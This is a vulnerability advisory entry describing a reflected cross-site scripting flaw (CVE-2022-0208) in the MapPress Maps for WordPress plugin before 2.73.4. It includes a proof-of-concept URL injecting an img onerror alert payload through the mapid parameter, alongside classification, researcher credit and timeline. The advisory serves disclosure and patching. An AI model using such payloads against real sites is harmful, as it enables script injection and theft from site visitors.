WordPress Plugin Vulnerabilities

MapPress Maps for WordPress < 2.73.4 - Reflected Cross-Site scripting

Description

The plugin does not sanitise and escape the mapid parameter before outputting it back in the "Bad mapid" error message, leading to a Reflected Cross-Site Scripting

Proof of Concept

https://example.com/?mapp_iframe=1&mapid=--%3E%3Cimg%20src%20onerror=alert(/XSS/)%3E

Affects Plugins

Plugin icon
mappress-google-maps-for-wordpress
Fixed in 2.73.4

References

CVE
CVE-2022-0208

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
6.1 (medium)

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
https://kazet.cc/
Verified
Yes
WPVDB ID
59a2abd0-4aee-47aa-ad3a-865f624fa0fc

Timeline

Publicly Published
2022-01-17 (about 2 years ago)
Added
2022-01-17 (about 2 years ago)
Last Updated
2022-04-12 (about 2 years ago)

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